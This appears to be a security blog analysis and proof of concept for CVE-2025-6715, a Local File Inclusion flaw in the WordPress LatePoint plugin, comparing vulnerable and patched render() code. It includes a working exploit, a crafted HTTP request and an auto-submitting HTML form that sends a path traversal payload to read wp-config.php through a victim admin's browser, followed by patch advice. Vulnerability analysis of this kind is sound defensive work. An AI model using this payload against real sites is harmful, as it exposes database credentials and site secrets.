Contents

CVE-2025-6715 Analysis & POC

Plugin LatePoint version ≤ 5.1.93 contains a Local File Inclusion vulnerability that allows unauthenticated attackers to control the file parameter in the include/require statement, thereby injecting or reading local files on the server (e.g., configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, potential code execution.

  • CVE ID: CVE-2025-6715
  • Vulnerability Type: Local File Inclusion
  • Affected Versions: <= 5.1.93
  • Patched Versions: 5.1.94
  • CVSS severity: High (8.1)
  • Required Privilege: Unauthenticated
  • Product: WordPress LatePoint Plugin
  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - LatePoint: 5.1.93 (vulnerable) and 5.1.94 (patched).
  • Diff tool - Meld or any diff tool to compare and inspect differences between versions.

Vulnerable version:

function render($view, $layout = 'none', $extra_vars = array()){
    $this->vars['route_name'] = $this->route_name;
    extract($extra_vars);
    extract($this->vars);
    ob_start();
    if($layout != 'none'){
      // rendering layout, view variable will be passed and used in layout file
      include LATEPOINT_VIEWS_LAYOUTS_ABSPATH . $this->add_extension($layout, '.php');
    }else{
      include $this->add_extension($view, '.php');
    }
    $response_html = ob_get_clean();
    return $response_html;
}

In the vulnerable version, the render() function appends .php to $layout and directly includes it without validation, leading to Local File Inclusion (LFI) if $layout is controlled by user input.

Patched version:

function render($view, $layout = 'none', $extra_vars = array()){
    $this->vars['route_name'] = $this->route_name;
    extract($extra_vars);
    extract($this->vars);
    ob_start();
    if($layout != 'none'){
		$layout_path = $this->get_safe_layout_path($layout);
      // rendering layout, view variable will be passed and used in layout file
      if($layout_path){
		  include $layout_path;
      }else{
		  __('Invalid layout', 'latepoint');
      }
    }else{
      include $this->add_extension($view, '.php');
    }
    $response_html = ob_get_clean();
    return $response_html;
}

private function get_safe_layout_path($layout) {
    // 1. Remove any path separators and null bytes
    $layout = str_replace(['/', '\\', "\0"], '', $layout);

    // 2. Remove any dots to prevent directory traversal
    $layout = str_replace('.', '', $layout);

    // 3. Only allow alphanumeric, underscore, and hyphen
    $layout = preg_replace('/[^a-zA-Z0-9_-]/', '', $layout);

    // 4. Construct the full path
    $layout_file = $this->add_extension($layout, '.php');
    $full_path = LATEPOINT_VIEWS_LAYOUTS_ABSPATH . $layout_file;

    // 5. Use realpath to resolve any remaining traversal attempts
    $real_path = realpath($full_path);
    $base_path = realpath(LATEPOINT_VIEWS_LAYOUTS_ABSPATH);

    // 6. Ensure the resolved path is within the layouts directory
    if ($real_path && $base_path && strpos($real_path, $base_path) === 0) {
        return $real_path;
    }

    return false;
}

The patch adds get_safe_layout_path() to remove /, \, ., and null bytes; only allow [A-Za-z0-9_-]; construct the path, use realpath() and compare it with LATEPOINT_VIEWS_LAYOUTS_ABSPATH. The file is included only if valid, preventing LFI.

The render() function is called in 12 different locations, so manual tracing would be time-consuming.

12 call locations of render()

12 call locations of render()

To optimize, use a debugger:

  • Set a breakpoint inside render().
  • Perform various actions through the UI.
  • Each time render() is called, execution pauses at the breakpoint and highlights the corresponding code line, allowing quick identification of call flows.
Debugger jumps to breakpoint

Debugger jumps to breakpoint

👉 When accessing the endpoint http://localhost/wp-admin/admin.php?page=latepoint&route_name=calendars__view with route names as plugin submenus, render() is invoked with the default layout admin.

Default layout

Default layout

Examining the callstack reveals the call flow leading to render().

Callstack flow

Callstack flow

function format_render_return($view_name, $extra_vars = array(), $json_return_vars = array(), $from_shared_folder = false){
  $html = '';
  if($this->get_return_format() == 'json'){
    if(is_array($view_name)) $view_name = $view_name['json_view_name'];
    $response_html = $this->render($this->get_view_uri($view_name, $from_shared_folder), 'none', $extra_vars);
    $this->send_json(array_merge(array('status' => LATEPOINT_STATUS_SUCCESS, 'message' => $response_html), $json_return_vars));
  }else{
    if(is_array($view_name)) $view_name = $view_name['html_view_name'];
    $this->extra_css_classes[] = $this->generate_css_class($view_name);
    $this->vars['extra_css_classes'] = $this->extra_css_classes;
    $html = $this->render($this->get_view_uri($view_name, $from_shared_folder), $this->get_layout(), $extra_vars);
  }
  return $html;
}

render() is called by format_render_return() when get_return_format() is not json; by default, it’s html.

$return_format = 'html'
...
function get_return_format(){
  return $this->return_format;
}

The layout we’re interested in comes from get_layout(). Since get_layout() exists, there should be a corresponding set_layout(). Searching for set_layout in the same file shows how the layout value is set.

$layout = 'admin'
...
function set_layout($layout = 'admin'){
  if(isset($this->params['layout'])){
    $this->layout = $this->params['layout'];
  }else{
    $this->layout = $layout;
  }
}

The $layout variable is assigned the default value 'admin', matching the layout analyzed earlier.

The set_layout() function determines which layout to use:

  • If $this->params contains a layout parameter, it uses that value.
  • Otherwise, it falls back to the default ('admin').

We can use the debugger again to inspect $params.

Value of $params

Value of $params

$params includes two keys, page and route_name, matching the query parameters when accessing http://localhost/wp-admin/admin.php?page=latepoint&route_name=calendars__view.

👉 Therefore, layout can also be passed as a URL parameter — which we can exploit.

Try accessing the endpoint with a layout parameter:

GET /wp-admin/admin.php?page=latepoint&route_name=calendars__view&layout=payload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=latepoint
Connection: keep-alive
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1760967480%7CoCVvKc0bJQfyBklDsH6H9DopdAB5cs1Sto11eNkRdYj%7Cc08cb50e24c24f218212642e90eebec4ec8ab1c3fb72a2443f62f3c27e253edd; wp-settings-time-1=1760795495; language=en; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1760967480%7CoCVvKc0bJQfyBklDsH6H9DopdAB5cs1Sto11eNkRdYj%7C2e46c824d8ba0f581459540ee6553fac38b1af797e42b03957dd3ab2a79a4175

$layout is now fully under our control.

Controlled $layout

Controlled $layout

Create a webpage containing a form that automatically submits an LFI payload.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://localhost:80/wp-admin/admin.php" method="get">
        <input type="text" name="page" value="latepoint">
        <input type="text" name="route_name" value="calendars__view">
        <input type="text" name="layout" value="../../../../../../wp-config">
    </form>
    <script>
        document.forms[0].submit()
    </script>
</body>
</html>

Send the malicious webpage link to an admin or privileged user.

Result:

The debugger stopped at wp-config.php.

Successful LFI result

Successful LFI result

Info

Since this CVE is Unauthenticated, it leverages a plugin endpoint without nonce checking. Logged-in users visiting the malicious page automatically send the request to the vulnerable WordPress site along with their cookies.

Versions ≤ 5.1.93 of LatePoint are vulnerable to LFI because the layout parameter is not validated before being passed to include(), leading to potential local file disclosure (e.g., wp-config.php). The issue was patched in 5.1.94 by sanitizing characters, using realpath(), and restricting to valid directories.

  • This is LFI (file read) — no RCE observed in PoC.
  • Path-controlled parameters must be sanitized + canonicalized before use.
  • Use realpath() and base directory validation to prevent traversal.
  • Never include directly from request data; use safe helpers like get_safe_layout_path().

File Inclusion/Path traversal — Hacktrick

WordPress LatePoint Plugin <= 5.1.93 is vulnerable to Local File Inclusion

Related Content